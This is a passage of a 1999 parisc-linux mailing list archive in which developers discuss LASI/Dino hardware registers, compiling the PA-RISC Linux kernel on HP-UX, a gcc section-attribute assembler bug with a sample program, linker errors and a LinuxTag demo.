LANchip LASI LAN is disabled.  The keyboard controller is LASI is
also likely up and running.
|
|2.	It isnt totally clear from the docs what the input clock of the
|	16550A macrocell is. I need that for the serial.c code obviously..

In section 7.4 it says "the baudrate reference frequency is taken from
the 40 MHz IO system clock.  The frequency 7.2727 MHz is generated
by dividing 40 MHz by 5.5."  7.2727 MHz goes to the Macrocell.

Dino can get its 16500 reference clock from either the GSC clock
or the PCI clock.  I'd have to look through the bootROM source
to remember which way it's set up.

|
|3.	The parallel port slave reset is at 102000 in the register map. The
|	docs elsewhere say the parallel port DMA registers can be reset
|	by writing to offset 10300 - should this be 102000 or 103000 - ie
|	is the dma reset for the parallel seperate , and is it at the
|	obvious place or really is one of the 8bit bus (flash) addresses

The parallel port registers are definitely not in flash space, especailly
on any system with a PA7300LC since the flash space is from Clark not
LASI, and the parallel port is completely inside LASI.

My reading of the ERS says that the slave reset is at LASI_BASE+0x10_2000
and parallel DMA reset is at LASI_BASE+0x10_3000.  A 4k page is assigned
for each set of registers.  Where does it say 10300?  I'll fix the ERS.

|
|4.	Do I need to set bits in the I/O reset register back to 1 after
|	a reset in order to bring them back active or is that automatic.

I don't know that one.  If trial and error doesn't tell you, I could
either run down chip designers or read HPUX driver code.

|
|I have the irq handlers for LASI and DINO done. These will map the 
|multiplexed irqs from these devices onto the linux "one irq space" model
|presented to drivers.

SOunds good.

	-Bill Katz


From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 8:32:41 PDT
Lines: 115
Approved: news@gmane.org
Message-ID: <199906151532.IAA22453@chrome.rose.hp.com>
References: <C1256791.00392418.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619647 12118 80.91.229.3 (22 Nov 2014 01:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@schering.de
Original-X-From: kirkb@chrome.rose.hp.com  Tue Jun 15 09:32:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18512
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 09:32:01 -0600
Original-Received: (qmail 31252 invoked by uid 15267); 15 Jun 1999 15:31:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31244 invoked from network); 15 Jun 1999 15:31:42 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 15:31:42 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA20632
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Jun 1999 08:31:46 -0700 (PDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id IAA22453; Tue, 15 Jun 1999 08:32:41 -0700 (PDT)
In-Reply-To: <C1256791.00392418.00@BE2314.schering.de>; from "Ulrich.Strelow@schering.de" at Jun 15, 99 12:22 (noon)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9565

|
| Hi,
|
| I'm trying to compile the latest CVS-snapshot (19990615) on my HP 715/33
| using gcc 2.7.2.2 and binutils 2.7. Compiling kernel/sched.c gives the
| following error:
|
| sched.c:579: section attributes are not supported for this target
|
| I am running HP-UX 10.20, so I cannot use the depots from
| ftp://puffin.external.hp.com/pub/parisc/binaries/depot/.
| So the question is: do I need gcc 2.8.1 and binutils 2.9.1 to build the
| kernel on HP-UX or is this some other error ?
|

gcc 2.8.1 isn't quite enough. Although it does support section
attributes, there is a bug in the code emitted that cannot be assembled
with gas 2.9.1. I sucessfully worked around it by changing the condition
from a fatal error to a warning in gas.

Here is the text of the bug I submitted to gcc:


e of __attribute__((__section__())) to force code into a specific
section
generates code which causes the assembler to fail.

Here is an example:

/* test.c */
int __attribute__ ((__section__ (".text.init")))  a(x)
int x;
{
 return(x+1);
}

int b(x)
int x;{
 return(x+2);
}

int __attribute__ ((__section__ (".text.init")))  c(x)
int x;{
 return(x+1);
}

main(){
 printf("a(0)=%d\n",a(0));
 printf("b(0)=%d\n",b(0));
 printf("c(0)=%d\n",c(0));
}


Here is the output of gcc:

# gcc test.c
/var/tmp/cca10410.s: Assembler messages:
/var/tmp/cca10410.s:59: Warning: Parameters of an existing subspace
can't be modified
/var/tmp/cca10410.s:59: Error: Rest of line ignored. First ignored
character is`,'.

Creating the assembly language output and examining for .SUBSPA
directives, we
find the following:

# gcc -S test.c
# grep SUBSPA test.s

# gcc -S test.c
# grep SUBSPA test.s
        .SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=31
        .SUBSPA $BSS$,QUAD=1,ALIGN=8,ACCESS=31,ZERO,SORT=82
        .SUBSPA $LIT$,QUAD=0,ALIGN=8,ACCESS=44
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY
        .SUBSPA .text.init,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY,SORT=24
        .SUBSPA a
        .SUBSPA $CODE$
        .NSUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY
        .SUBSPA .text.init,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY,SORT=24
        .SUBSPA c
        .SUBSPA $LIT$
        .SUBSPA $CODE$
        .NSUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY

Note that the section .text.init is declared with all the parameters
twice.
The second occurance should not include the parameters.

If the second declaration is edited to remove the parameters, then the
code
assembles and run correctly.

# cp test.s test_fixed.s
# vi test_fixed.s
# diff test.s test_fixed.s
59c59
<       .SUBSPA .text.init,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY,SORT=24
---
>       .SUBSPA .text.init
# gcc -o test_fixed test_fixed.s
# ./test_fixed
a(0)=1
b(0)=2
c(0)=1


KMB
--
+============================================================+
|       Kirk Bresniker          (916) 785-5677               |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 11.0 binaries
Date: Tue, 15 Jun 1999 18:00:00 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <37667880.CE8FD65@gmx.de>
References: <199906150231.VAA08498@osiris.silug.org> <003601beb6e0$d02b9800$4c51a8c0@monorailpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619648 12119 80.91.229.3 (22 Nov 2014 01:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ross Sponholtz <rsponholtz@earthlink.net>
Original-X-From: deller@gmx.de  Tue Jun 15 09:55:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18757
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 09:55:06 -0600
Original-Received: (qmail 3273 invoked by uid 15267); 15 Jun 1999 15:54:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3263 invoked from network); 15 Jun 1999 15:54:48 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 15:54:48 -0000
Original-Received: (qmail 12179 invoked from network); 15 Jun 1999 15:54:52 -0000
Original-Received: from dialppp-3-53.rz.ruhr-uni-bochum.de (HELO gmx.de) (134.147.3.53)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 15 Jun 1999 15:54:52 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9566

Hi Ross !

You get HP-UX 10.20 for free from HP, when you order the "Transisition Toolkit"
(=fixes Y2K Problems with HP-UX versions prior to HP-UX 10.20) for HP9000 boxes.

Helge Deller.

Ross Sponholtz schrieb:

> Since it is looking like I'm not going to get much done without HP/UX, does
> anyone have any suggestions on how to get HP/UX for my 715/50?  I bought the
> machine off ebay, and there was no OS installed.  Thanks!
>
> Ross Sponholtz
> rsponholtz@earthlink.net
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
---------------------------------------
 Mailto:deller@gmx.de
 ICQ# 2046114
---------------------------------------



From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi/Dino/Interrupts (fwd)
Date: Tue, 15 Jun 1999 16:58:22 +0100 (BST)
Lines: 22
Approved: news@gmane.org
Message-ID: <E10tvbU-0007Pv-00@the-village.bc.nu>
References: <199906151530.IAA17946@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619648 12121 80.91.229.3 (22 Nov 2014 01:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: billk@sr.hp.com (Bill Katz)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Jun 15 10:05:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA18953
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 10:05:50 -0600
Original-Received: (qmail 5456 invoked by uid 15267); 15 Jun 1999 16:05:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5436 invoked from network); 15 Jun 1999 16:05:33 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 16:05:33 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tvbU-0007Pv-00; Tue, 15 Jun 1999 16:58:24 +0100
In-Reply-To: <199906151530.IAA17946@meow.sr.hp.com> from "Bill Katz" at Jun 15, 99 08:30:47 am
Xref: news.gmane.org gmane.linux.ports.parisc:9567

> The PCI firmware is rather extensive.  It walks the bus, can deal with
> PCI to PCI bridges, and assigns both address space and interrupt
> lines to every device it finds.  It leaves the imporartant information
> in the base address register and interrupt line register of the PCI devices
> it finds.

Ok. That makes life very easy for us indeed.

> The parallel port registers are definitely not in flash space, especailly
> on any system with a PA7300LC since the flash space is from Clark not
> LASI, and the parallel port is completely inside LASI.
> 
> My reading of the ERS says that the slave reset is at LASI_BASE+0x10_2000
> and parallel DMA reset is at LASI_BASE+0x10_3000.  A 4k page is assigned
> for each set of registers.  Where does it say 10300?  I'll fix the ERS.

The bottom of 12.2.2 under table 14

"The parallel port dma registers will be .."

Alan


From - Thu Nov 08 21:15:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Patterson <andrew@bumbles.sde.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 10:41:55 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <199906151641.KAA02170@bumbles.sde.hp.com>
References: <C1256791.00392418.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619648 12124 80.91.229.3 (22 Nov 2014 01:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@schering.de
Original-X-From: andrew@bumbles.sde.hp.com  Tue Jun 15 10:42:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19193
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 10:42:20 -0600
Original-Received: (qmail 12901 invoked by uid 15267); 15 Jun 1999 16:42:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12893 invoked from network); 15 Jun 1999 16:42:05 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 16:42:05 -0000
Original-Received: from mailhub.sde.hp.com (mailhub.sde.hp.com [15.1.82.78])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id KAA25875;
	Tue, 15 Jun 1999 10:42:07 -0600 (MDT)
Original-Received: from bumbles.sde.hp.com (bumbles.sde.hp.com [15.1.82.122])
	by mailhub.sde.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id KAA12578;
	Tue, 15 Jun 1999 10:42:00 -0600 (MDT)
Original-Received: from bumbles.sde.hp.com (localhost [127.0.0.1])
	by bumbles.sde.hp.com (8.9.3/8.9.3) with ESMTP id KAA02170;
	Tue, 15 Jun 1999 10:41:55 -0600
In-reply-to: Your message of "Tue, 15 Jun 1999 12:22:46 +0200."
             <C1256791.00392418.00@BE2314.schering.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9568


Ulrich,

You can get HP-UX 10.20 binaries at http://hpux.cae.wisc.edu They have
gcc 2.8.1.  They also have many other Open Source packages.

Andrew

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   Andrew Patterson                          Voice:  (970) 898-3261
   Hewlett-Packard Company                   FAX:    (970) 898-2180
   Development Solutions Lab                 email: andrew@fc.hp.com
   3404 East Harmony Road / MS 7
   Fort Collins, Colorado  80525  



> 
> 
> Hi,
> 
> I'm trying to compile the latest CVS-snapshot (19990615) on my HP 715/33
> using gcc 2.7.2.2 and binutils 2.7. Compiling kernel/sched.c gives the
> following error:
> 
> sched.c:579: section attributes are not supported for this target
> 
> I am running HP-UX 10.20, so I cannot use the depots from
> ftp://puffin.external.hp.com/pub/parisc/binaries/depot/.
> So the question is: do I need gcc 2.8.1 and binutils 2.9.1 to build the
> kernel on HP-UX or is this some other error ?
> 
> Ulrich
> ---------------------------------------------
> Ulrich Strelow
> <ulrich.strelow@schering.de or
> ulrich_strelow@csi.com>
> Berlin, Germany
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@osiris.silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 12:25:09 -0500 (CDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <199906151725.MAA11161@osiris.silug.org>
References: <199906151031.MAA12339@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619649 12126 80.91.229.3 (22 Nov 2014 01:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:29 +0000 (UTC)
Cc: Ulrich.Strelow@Schering.DE, parisc-linux@thepuffingroup.com
To: tor@spacetec.no (Tor Arntsen)
Original-X-From: steve@osiris.silug.org  Tue Jun 15 11:25:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA19476
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 11:25:28 -0600
Original-Received: (qmail 21637 invoked by uid 15267); 15 Jun 1999 17:25:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21620 invoked from network); 15 Jun 1999 17:25:08 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 17:25:07 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id MAA11161;
	Tue, 15 Jun 1999 12:25:09 -0500
In-Reply-To: <199906151031.MAA12339@pallas.spacetec.no> from Tor Arntsen at "Jun 15, 99 12:31:47 pm"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9569

Tor Arntsen said:
> On Jun 15, 11:26, Ulrich.Strelow@schering.de wrote:
> >I am running HP-UX 10.20, so I cannot use the depots from
> >ftp://puffin.external.hp.com/pub/parisc/binaries/depot/.
> >So the question is: do I need gcc 2.8.1 and binutils 2.9.1 to build the
> >kernel on HP-UX or is this some other error ?
> 
> I'm pretty sure you need the hacked egcs and binutils.  You can check them 
> out of cvs from the same place as the kernel (I use them for cross-compiling 
> though).

I suppose I should mention that the only reason I chose to compile gcc
2.8.1 and binutils 2.9.1 was that I was almost positive that gcc 2.8.1
would build with the bundled K&R compiler.  (I couldn't find a copy of
the ANSI C compiler for 11 over the weekend.)  I figured that the
vanilla gcc and binutils would give me enough of a development
environment that I could build anything else.

I have binaries of egcs 1.1.2 built, but I'm going to try to run the
test suite before I put them out on puffin.external.hp.com.  After
that, I'll go for the CVS versions.  When it looks like everything is
built for 11, I'll probably go back and build 10.20 binaries of
anything you can't already find on hpux.cs.utah.edu or
hpux.cae.wisc.edu.

BTW, I've tested the bash binary...  It seems to work fine.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Linux Kernel on HP-UX
Date: Tue, 15 Jun 1999 14:10:50 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <199906151810.OAA18325@hiauly1.hia.nrc.ca>
References: <199906151532.IAA22453@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619649 12128 80.91.229.3 (22 Nov 2014 01:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:29 +0000 (UTC)
Cc: Ulrich.Strelow@Schering.DE, parisc-linux@thepuffingroup.com
To: kirkb@chrome.rose.hp.com (Kirk Bresniker)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jun 15 12:14:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19892
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Jun 1999 12:14:07 -0600
Original-Received: (qmail 31757 invoked by uid 15267); 15 Jun 1999 18:13:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31746 invoked from network); 15 Jun 1999 18:13:51 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 15 Jun 1999 18:13:51 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA18325;
	Tue, 15 Jun 1999 14:10:50 -0400 (EDT)
In-Reply-To: <199906151532.IAA22453@chrome.rose.hp.com> from "Kirk Bresniker" at Jun 15, 99 08:32:41 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9570

> 
> |
> | Hi,
> |
> | I'm trying to compile the latest CVS-snapshot (19990615) on my HP 715/33
> | using gcc 2.7.2.2 and binutils 2.7. Compiling kernel/sched.c gives the
> | following error:
> |
> | sched.c:579: section attributes are not supported for this target
> |
> gcc 2.8.1 isn't quite enough. Although it does support section
> attributes, there is a bug in the code emitted that cannot be assembled
> with gas 2.9.1. I sucessfully worked around it by changing the condition
> from a fatal error to a warning in gas.
> 
> Here is the text of the bug I submitted to gcc:

I haven't tried your sample but I don't have the the section problem
with gcc-2.95 (prerelease) and binutils-2.9.4 (pre).  I do have a
link problem:

ld -N -e _stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o init/ma
in.o init/version.o \
	arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
	fs/filesystems.a \
	net/network.a \
	drivers/block/block.a drivers/char/char.a  drivers/net/net.a \
	/ehic/a/pa/linux/arch/parisc/lib/lib.a /ehic/a/pa/linux/lib/lib.a /ehic/a/pa/linux/arch/parisc/lib/lib.a \
	-o vmlinux
ld: Unsatisfied symbols:
   swapper_pg_dir (data)
   _stext (data)
make: *** [vmlinux] Error 1

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxTag
Date: Thu, 17 Jun 1999 11:22:37 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990617112237.C31472@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619649 12130 80.91.229.3 (22 Nov 2014 01:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jun 17 03:23:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA22192
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Jun 1999 03:23:03 -0600
Original-Received: (qmail 2491 invoked by uid 15267); 17 Jun 1999 09:22:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2456 invoked from network); 17 Jun 1999 09:22:28 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 17 Jun 1999 09:22:28 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id LAA22509
	for <parisc-linux@thepuffingroup.com>; Thu, 17 Jun 1999 11:22:39 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA2015988
	for <parisc-linux@thepuffingroup.com>; Thu, 17 Jun 1999 11:22:37 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10uYNZ-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Thu, 17 Jun 1999 11:22:37 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9571


HP have invited me to be at their stand for LinuxTag in Kaiserslautern,
Germany on the 26th/27th of June.  I'd like to be able to demonstrate
something, even if it's just the bootloader and a spinning cursor.

I guess what I want is another machine that is attached to the webconsole
and a network between them to allow the A180 to netboot.  Or does someone
have a better idea?  (Would these management cards someone mentioned be
any use?)

----- Forwarded message -----

Now I have some more questions:
- What HW do you need exactly? You wrote a A180. This is o.k., but are 
there other necessaries you need in the A180? And which linux version do 
you need on this server?
- Could you install the SW on the server?

----- End forwarded message -----

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 03:22:21 -0400
Organization: The Puffin Group
Lines: 21
Approved: news@gmane.org
Message-ID: <3769F3AD.DF068942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619650 12134 80.91.229.3 (22 Nov 2014 01:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 18 01:14:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA23185
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 01:14:12 -0600
Original-Received: (qmail 17174 invoked by uid 15267); 18 Jun 1999 07:13:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17167 invoked from network); 18 Jun 1999 07:13:47 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 18 Jun 1999 07:13:47 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA01322
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Jun 1999 03:22:24 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9572


After an enormous amount of frustration (with fault only to me, I should
have thought that there was a second bootpserver on my network), the
kernel tree in CVS actually builds on HPUX.  This is really just Jason's
work glued into the kernel tree.

Next:

- we need an HPUX ld linker script to resolve the vmlinux building,
what's the format for this?

- we need to figure out why the bootloader gives an error when loading
the kernel into memory

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A quick update
Date: Fri, 18 Jun 1999 01:26:21 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <13166.929690781@upchuck.cygnus.com>
References: <3769F3AD.DF068942@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619650 12138 80.91.229.3 (22 Nov 2014 01:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 18 01:32:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA23366
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Jun 1999 01:32:44 -0600
Original-Received: (qmail 19327 invoked by uid 15267); 18 Jun 1999 07:32:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
